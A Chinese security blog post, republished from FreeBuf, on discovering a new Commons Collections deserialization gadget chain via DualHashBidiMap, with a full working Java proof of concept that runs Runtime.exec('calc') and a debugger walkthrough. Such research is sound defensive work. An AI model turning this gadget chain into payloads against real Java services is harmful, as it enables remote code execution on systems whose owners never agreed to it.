记一次 Commons Collections 新调用链的挖掘
2021-12-03 18:07:22 Author: www.freebuf.com(查看原文) 阅读量:18 收藏

前言

最近复习了下之前的关于Commons Collections这块的笔记,从CC1到CC10,从调用链来看,其实都是很相似的。为了巩固下复习的效果,尝试挖掘一条新的调用链,遂出现了本文,大佬轻喷。

建议读者对Commons Collections链有一定了解后再阅读此文。

基础准备

这里直接用ysoserial的源码就可以,jdk的版本我这里用的是1.8u131。我们应该知道,在这个jdk版本下,CC1和CC3中利用的AnnotationInvocationHandler是经过修复的,在CC1和CC3的调用链中,都是利用AnnotationInvocationHandler.readObject()来作为入口。

所以,首先我们全局搜索“readObject(”:

1638513842_61a9bcb2688d33ec4dfd9.png!small?1638513841428

经过筛选,找到org.apache.commons.collections.bidimap.DualHashBidiMap这个类,其依赖于commons-collections-3.1.jar

我们来看DualHashBidiMap的readObject():

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
maps[0] = new HashMap();
maps[1] = new HashMap();
Map map = (Map) in.readObject();
putAll(map);
}

跟进DualHashBidiMap的父类AbstractDualBidiMap#putAll方法:

public void putAll(Map map) {
for (Iterator it = map.entrySet().iterator(); it.hasNext();) {
Map.Entry entry = (Map.Entry) it.next();
put(entry.getKey(), entry.getValue());
}
}

跟进AbstractDualBidiMap.put():

public Object put(Object key, Object value) {
if (maps[0].containsKey(key)) {
maps[1].remove(maps[0].get(key));
}
if (maps[1].containsKey(value)) {
maps[0].remove(maps[1].get(value));
}
final Object obj = maps[0].put(key, value);
maps[1].put(value, key);
return obj;
}

注意这里的

if (maps[0].containsKey(key)) {
maps[1].remove(maps[0].get(key));
}

1、由这个

maps[0].containsKey(key)

依据之前的CC链,可联想到HashMap#containsKey(key),其中调用了hash(key)->key.hashCode(),进而联想到TiedMapEntry#hashCode(),我们可构造将key设为TiedMapEntry对象即可。

2、由这个

maps[0].get(key)

依据之前的CC链,可联想到LazyMap.get(key),但是这里实际是无法构造利用的,后边会说到,读者可以先思考一下是为什么。

找到了readObject()入口,接下来我们有必要来了解一下DualHashBidiMap这个类的作用。

DualHashBidiMap

我们可以直接从源码来看:

1638514950_61a9c1067884fb87235dd.png!small?1638514949837

依据此类的英文注释及其字段和方法的定义,可知commons-collections包中提供此集合类,作用为双向map,即可以通过key找到value,也可以通过value找到key。

其抽象类AbstractDualBidiMap为其提供了一些字段定义及一些常用方法。

大概思路有了,类的定义也了解了,我们可以开始构造POC

构造POC

我这里先贴上最终POC,然后会进行讲解。

package ysoserial;

import org.apache.commons.collections.BidiMap;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class PocDualHashBidiMap {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
// 使用ChainedTransformer组合利用链
Transformer transformerChain = new ChainedTransformer(transformers);

Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");

// Map<String, Object>,这个Map对象的键是String类型,值是Object类型
Map<String, Object> map = new HashMap<String, Object>();
map.put("test", tiedMapEntry);
map.put("test1", "test1");

// 反射创建对象
Class cls = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap");
Constructor m_ctor = cls.getDeclaredConstructor(Map.class, Map.class, BidiMap.class);
m_ctor.setAccessible(true);
Object payload_instance = m_ctor.newInstance(map, null, null);

FileOutputStream fileOutputStream = new FileOutputStream("payload_dualHashBidMap1.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(payload_instance);
outputStream.close();

FileInputStream fis = new FileInputStream("payload_dualHashBidMap1.ser");
ObjectInputStream bit = new ObjectInputStream(fis);
bit.readObject();
}
}

第一部分(CC1)

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
// 使用ChainedTransformer组合利用链
Transformer transformerChain = new ChainedTransformer(transformers);

Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);

这一部分是利用的CC1中的一部分POC,这里大概讲一下思路,不深入讲解了。

由于LazyMap对象是无法直接通过构造方法来构造的,需要通过其decorate方法来绑定一个转换器,这里绑定了ChainedTransformer对象。然后就可以通过调用LazyMap.get()进而调用到ChainedTransformer.transform(),又可进而遍历调用到ChainedTransformer对象中的4个对象(1个ConstantTransformer3个InvokerTransformer)的transform(),第一次遍历调用transform()的结果作为入参传入第二次遍历调用的transform(),以此类推。ConstantTransformer.transform()会直接返回传入的参数值,InvokerTransformer.transform()会反射调用方法。

第二部分(CC6)

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");

依据我们前边联想到的思路,这里为了利用TiedMapEntry#hashCode(),此方法是CC6和CC7其中的一环,这里就不分析了,后边调试的时候会说。

第三部分(DualHashBidiMap3入参protected构造方法)

Map<String, Object> map = new HashMap<String, Object>();
map.put("test", tiedMapEntry);
map.put("test1", "test1");

// 反射创建对象
Class cls = Class.forName("org.apache.commons.collections.bidimap.DualHashBidiMap");
Constructor m_ctor = cls.getDeclaredConstructor(Map.class, Map.class, BidiMap.class);
m_ctor.setAccessible(true);
Object payload_instance = m_ctor.newInstance(map, null, null);

其实在这里,我们构造的恶意TiedMapEntry不管是放在键位还是值位,都是可以的,后边会说到。

我们在构造DualHashBidiMap对象时,选的是3入参的构造方法,这里看下:

protected DualHashBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {
super(normalMap, reverseMap, inverseBidiMap);
}

由于此构造方法为protected的,所以我们需要利用反射来构造

super对应DualHashBidiMap的父类AbstractDualBidiMap的构造方法:

protected AbstractDualBidiMap(Map normalMap, Map reverseMap, BidiMap inverseBidiMap) {
super();
maps[0] = normalMap;
maps[1] = reverseMap;
this.inverseBidiMap = inverseBidiMap;
}

为了便于理解,配合调试来讲解:

当“DualHashBidiMap的构造方法中、调用super来调用父类AbstractDualBidiMap的构造方法”时,调试进入AbstractDualBidiMap类中,this表示的仍是DualHashBidiMap,也就是说,AbstractDualBidiMap构造的字段都是属于DualHashBidiMap对象的:

1638516795_61a9c83b70fb84ce7f8ad.png!small?1638516794570

断点来到父类AbstractDualBidiMap的构造方法时,会先依据AbstractDualBidiMap类中,对于一些字段的初始化定义,都给到DualHashBidiMap对象

DualHashBidiMap对象会得到这些字段属性,包括maps[0]和maps[1]属性:

public abstract class AbstractDualBidiMap implements BidiMap {

/**
* Delegate map array. The first map contains standard entries, and the
* second contains inverses.
*/
protected transient final Map[] maps = new Map[2];
/**
* Inverse view of this map.
*/
protected transient BidiMap inverseBidiMap = null;
/**
* View of the keys.
*/
protected transient Set keySet = null;
/**
* View of the values.
*/
protected transient Collection values = null;
/**
* View of the entries.
*/
protected transient Set entrySet = null;

1638516873_61a9c889aea1f4335da4e.png!small?1638516872931

而这个

maps[0] = normalMap;

对应POC中:

Object payload_instance = m_ctor.newInstance(map, null, null);

所以,赋值给maps[0]的就是normalMap(我们构造的HashMap对象)

也就是说,此时的DualHashBidiMap对象的maps[0]属性(我们构造的HashMap对象)的其中一个HashMap$Node对象,对应POC构造的:

Map<String, Object> map = new HashMap<String, Object>();
map.put("test", tiedMapEntry);

1638516910_61a9c8ae4989440b0ec74.png!small?1638516909318

DualHashBidiMap对象构造好之后,序列化时,会将这些字段属性一层一层写入序列化流:

1638516937_61a9c8c945027ad2679dd.png!small?1638516936385

调试

构造好POC后,打上断点,调试分析一下:

1638517080_61a9c95824781f52f16d5.png!small?1638517079313

反序列化时,来看DualHashBidiMap的自实现的 readObject() :

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
maps[0] = new HashMap();
maps[1] = new HashMap();
Map map = (Map) in.readObject();
putAll(map);
}

可以看到,maps[0]和maps[1]属性都被赋值为空的HashMap对象了,这不是与我们上边构造的冲突了吗?

调试到此处看下:

1638517116_61a9c97c19345c3906fae.png!small?1638517115228

我们上边构造的DualHashBidiMap对象的maps[0]属性(我们构造的HashMap对象)的其中一个HashMap$Node对象的值就是恶意TiedMapEntry对象。

调试发现,DualHashBidiMap的自实现的 readObject() 中的

Map map = (Map) in.readObject();

实际就是把我们POC中构造的HashMap对象:

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "1");
Map<String, Object> map = new HashMap<String, Object>();
map.put("test", tiedMapEntry);

给取出来了,给到Map对象map,然后调用 putAll() 时,作为入参传入此Map对象:

1638517229_61a9c9eda288ad4c6536e.png!small?1638517229057

1638517144_61a9c998606551e9d7189.png!small?1638517143536

可以这样理解,readObject方法就是反序列化读取出来当前类中的对象,具体是哪个字段,哪一层的,其实是不固定的:

1638517166_61a9c9ae710e76b958aa9.png!small?1638517165582

执行完

Map map = (Map) in.readObject();

这句后,反序列化之后的DualHashBidiMap对象的maps[0]和maps[1]属性还是空的HashMap对象,没有改变:

1638517182_61a9c9be645b9f7c10264.png!small?1638517181527

跟进putAll方法:

1638517273_61a9ca190191be04754af.png!small?1638517272171

迭代读取HashMap$Node对象节点。

第一个就是我们构造的恶意HashMap$Node对象:

1638517326_61a9ca4e68c3d81b0a456.png!small?1638517325451

跟进put方法:

1638517392_61a9ca90dfafe93cc1b55.png!small?1638517392097

maps[0]和maps[1]都为刚才readObject方法中赋值的空的HashMap对象,这也就是前边说的,为什么不可利用LazyMap.get()

我们可以通过这个maps[1],来到HashMap#containsKey方法:

1638517532_61a9cb1c64f5424a0b290.png!small?1638517531515

1638517543_61a9cb2746946ff6ad7f0.png!small?1638517542417

此时的key为构造的恶意TiedMapEntry对象,继续跟进hash方法:

1638517627_61a9cb7bdd0509818f0e8.png!small?1638517627029

跟进hashCode方法:

1638517654_61a9cb965569d1d596cda.png!small?1638517653392

继续跟进getValue方法:

1638517680_61a9cbb0b6c106d6061c6.png!small?1638517679889

这里开始就和CC1的调用链重叠了,就不继续跟进了。

调用链

DualHashBidiMap.readObject() -> AbstractDualBidiMap.putAll() -> AbstractDualBidiMap.put() -> HashMap.containsKey() -> HashMap.hash() -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> ChainedTransformer.transform()

结语

其实就是一些之前CC链的拼接而已。


文章来源: https://www.freebuf.com/articles/web/307147.html
如有侵权请联系:admin#unsafe.sh